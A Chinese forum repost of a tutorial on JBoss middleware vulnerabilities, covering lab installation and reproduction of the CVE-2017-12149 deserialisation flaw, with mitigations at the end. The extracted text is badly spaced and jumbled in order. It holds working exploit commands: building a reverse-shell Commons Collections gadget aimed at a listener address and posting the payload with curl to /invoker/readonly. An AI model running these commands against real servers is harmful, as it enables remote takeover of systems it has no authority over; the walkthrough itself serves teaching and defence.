搜索

[22301] 2021-08-30_【超详细】JBoss中间件漏洞总结

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2021-08-30_【超详细】JBoss中间件漏洞总结 【 超 详 细 】 J B o s s 中 间 件 漏 洞 总 结 亿 人 安 全   L e m o n S e c   2 0 2 1 - 0 8 - 3 0 一 一 . J b o s s 简 介 简 介 J b o s s 是 一 个 基 于 J 2 E E 的 开 放 源 代 码 的 应 用 服 务 器 。 J B o s s 代 码 遵 循 L G P L 许 可 ， 可 以 在 任 何 商 业 应 用 中 免 费 使 用 。 J B o s s 是 一 个 管 理 E J B 的 容 器 和 服 务 器 ， 支 持 E J B   1 . 1 、 E J B   2 . 0 和 E J B 3 的 规 范 。 但 J B o s s 核 心 服 务 不 包 括 支 持 s e r v l e t / J S P 的 W E B 容 器 ， 一 般 与 T o m c a t 或 J e t t y 绑 定 使 用 。 默 认 端 口 ： 8 0 8 0 二 二 . J b o s s 安 装 安 装 下 载 地 址 ： h t t p s : / / j b o s s a s . j b o s s . o r g / d o w n l o a d s / 1 . 安 装 安 装 j d k 这 里 用 了 两 台 机 子 ， 一 台 安 装 老 版 本 J b o s s 4 ， j d k 选 1 . 6 ， 一 台 安 装 J b o s s 6 . j d k 选 1 . 7 这 里 可 以 注 意 一 下 j b o s s 5 - 7 可 以 被 j d k 7 支 持 ， j b o s s 4 可 以 被 j d k 6 支 持 ； 使 用 j d k 8 的 话 访 问 J M X - c o n s o l e 会 报 5 0 0 ； 安 装 j d k 步 骤 网 上 教 程 很 多 ， 我 就 不 写 了 ， 这 里 已 经 装 好 。 i m a g e - 2 0 2 1 0 8 1 9 1 6 1 3 3 0 0 8 2
i m a g e - 2 0 2 1 0 8 1 9 1 6 1 3 5 3 7 0 5 2 . 下 载 并 安 装 下 载 并 安 装 J b o s s 6 下 载 j b o s s - 6 . 1 . 0 . F i n a l : i m a g e - 2 0 2 1 0 8 1 9 1 5 0 9 5 9 5 6 1 将 其 拉 入 虚 拟 机 c 盘 i m a g e - 2 0 2 1 0 8 2 0 1 0 1 4 1 0 6 7 9 新 建 环 境 变 量 ： J B O S S _ H O M E 值 为 C : j b o s s - 6 . 1 . 0 . F i n a l
i m a g e - 2 0 2 1 0 8 2 0 1 0 1 5 5 5 6 9 7 p a t h 中 加 入 ： i m a g e - 2 0 2 1 0 8 2 0 1 0 1 9 1 9 7 8 0 在 该 目 录 下 双 击 r u n . b a t 启 动 ; % J B O S S _ H O M E % b i n ; C : j b o s s - 6 . 1 . 0 . F i n a l b i n
i m a g e - 2 0 2 1 0 8 2 0 1 0 2 0 3 1 6 6 7 出 现 i n f o 即 为 启 动 成 功 ， 本 地 可 成 功 访 问 。 i m a g e - 2 0 2 1 0 8 2 0 1 0 2 6 1 5 8 5 6 此 时 远 程 访 问 是 访 问 不 了 的 ， 我 们 需 要 修 改 C : j b o s s - 6 . 1 . 0 . F i n a l s e r v e r d e f a u l t d e p l o y j b o s s w e b . s a r s e r v e r . x m l 的 配 置 实 现 外 网 访 问 。 将 a d d r e s s = " $ { j b o s s . b i n d . a d d r e s s } " 改 成 a d d r e s s = " 0 . 0 . 0 . 0 "
i m a g e - 2 0 2 1 0 8 2 0 1 0 5 0 5 5 5 5 4 保 存 后 重 启 j b o s s ， 即 可 实 现 外 网 访 问 ； i m a g e - 2 0 2 1 0 8 2 0 1 0 5 4 2 4 8 0 2 3 . 下 载 并 安 装 下 载 并 安 装 J b o s s 4 J b o s s 4 和 J b o s s 6 的 安 装 步 骤 一 样 ， 唯 一 不 同 的 是 在 外 网 访 问 的 配 置 文 件 上 修 改 的 地 方 不 太 一 样 ； i m a g e - 2 0 2 1 0 8 2 0 1 3 5 3 1 1 6 1 4
进 去 下 面 目 录 ， 修 改 s e r v e r . x m l ， 如 下 图 成 功 访 问 i m a g e - 2 0 2 1 0 8 2 0 1 3 5 5 1 4 7 1 0 i m a g e - 2 0 2 1 0 8 2 0 1 3 5 7 1 8 7 0 8 三 三 . J b o s s 渗 透 渗 透 1 . J b o s s 5 . x / 6 . x 反 序 列 化 漏 洞 （ 反 序 列 化 漏 洞 （ C V E - 2 0 1 7 - 1 2 1 4 9 ） ） C : j b o s s - 4 . 2 . 3 . G A s e r v e r d e f a u l t d e p l o y j b o s s - w e b . d e p l o y e r
漏 洞 原 理 漏 洞 原 理 该 漏 洞 为   J a v a 反 序 列 化 错 误 类 型 ， 存 在 于   J b o s s   的   H t t p I n v o k e r   组 件 中 的   R e a d O n l y A c c e s s F i l t e r 过 滤 器 中 。 该 过 滤 器 在 没 有 进 行 任 何 安 全 检 查 的 情 况 下 尝 试 将 来 自 客 户 端 的 数 据 流 进 行 反 序 列 化 ， 从 而 导 致 了 攻 击 者 可 以 在 服 务 器 上 执 行 任 意 代 码 。 影 响 版 本 影 响 版 本 漏 洞 验 证 漏 洞 验 证 访 问 / i n v o k e r / r e a d o n l y ， 返 回 5 0 0 （ 内 部 服 务 器 错 误 — — 服 务 器 端 的 C G I 、 A S P 、 J S P 等 程 序 发 生 错 误 ） ， 说 明 此 页 面 存 在 反 序 列 化 漏 洞 i m a g e - 2 0 2 1 0 8 2 0 1 4 4 0 5 5 8 6 6 漏 洞 复 现 漏 洞 复 现 下 载 漏 洞 利 用 工 具 ： h t t p s : / / g i t h u b . c o m / j o a o m a t o s f / J a v a D e s e r H 2 H C i m a g e - 2 0 2 1 0 8 2 3 0 9 0 3 4 7 9 0 2 编 译 （ 需 要 j a v a 环 境 ） J b o s s   A S   5 . x   J b o s s   A S   6 . x
这 里 我 已 经 安 装 好 i m a g e - 2 0 2 1 0 8 2 0 1 4 4 5 1 9 9 2 7 开 启 监 听 i m a g e - 2 0 2 1 0 8 2 0 1 4 4 8 0 3 2 4 9 选 择 一 个 G a d g e t ： R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p ， 编 译 并 生 成 序 列 化 数 据 ； 生 成 R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . c l a s s ； i m a g e - 2 0 2 1 0 8 2 3 0 9 0 3 1 0 5 8 0 c d   / o p t c u r l   h t t p : / / w w w . j o a o m a t o s f . c o m / r n p / j a v a _ f i l e s / j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z   - o   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z t a r   z x v f   j d k - 8 u 2 0 - l i n u x - x 6 4 . t a r . g z r m   - r f   / u s r / b i n / j a v a * l n   - s   / o p t / j d k 1 . 8 . 0 _ 2 0 / b i n / j *   / u s r / b i n j a v a c   - v e r s i o n j a v a   - v e r s i o n j a v a c   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . j a v a
生 成 序 列 化 数 据 R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r i m a g e - 2 0 2 1 0 8 2 3 0 9 0 8 3 2 5 4 0 利 用 R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r ， 以 二 进 制 格 式 发 送 R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r 包 i m a g e - 2 0 2 1 0 8 2 3 0 9 1 4 0 0 5 8 6 成 功 反 弹 s h e l l 。 安 全 防 护 安 全 防 护 1 . 升 级 新 版 本 。 2 . 删 除 h t t p - i n v o k e r . s a r   组 件 ， 路 径 如 下 j a v a   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p   1 9 2 . 1 6 8 . 1 0 . 6 5 : 1 2 3 4 5 c u r l   h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 1 5 4 : 8 0 8 0 / i n v o k e r / r e a d o n l y   - - d a t a - b i n a r y   @ R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r C : j b o s s - 6 . 1 . 0 . F i n a l s e r v e r d e f a u l t d e p l o y h t t p - i n v o k e r . s a r
i m a g e - 2 0 2 1 0 8 2 3 0 9 3 4 0 7 0 6 2 3 . 添 加 如 下 代 码 至   h t t p - i n v o k e r . s a r   下   w e b . x m l 的 s e c u r i t y - c o n s t r a i n t   标 签 中 , 用 于 对   h t t p   i n v o k e r   组 件 进 行 访 问 控 制 。 路 径 为 ： i m a g e - 2 0 2 1 0 8 2 3 0 9 3 7 3 0 5 3 2 < u r l - p a t t e r n > / * < / u r l - p a t t e r n > C : j b o s s - 6 . 1 . 0 . F i n a l s e r v e r d e f a u l t d e p l o y h t t p - i n v o k e r . s a r i n v o k e r . w a r W E B - I N F
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理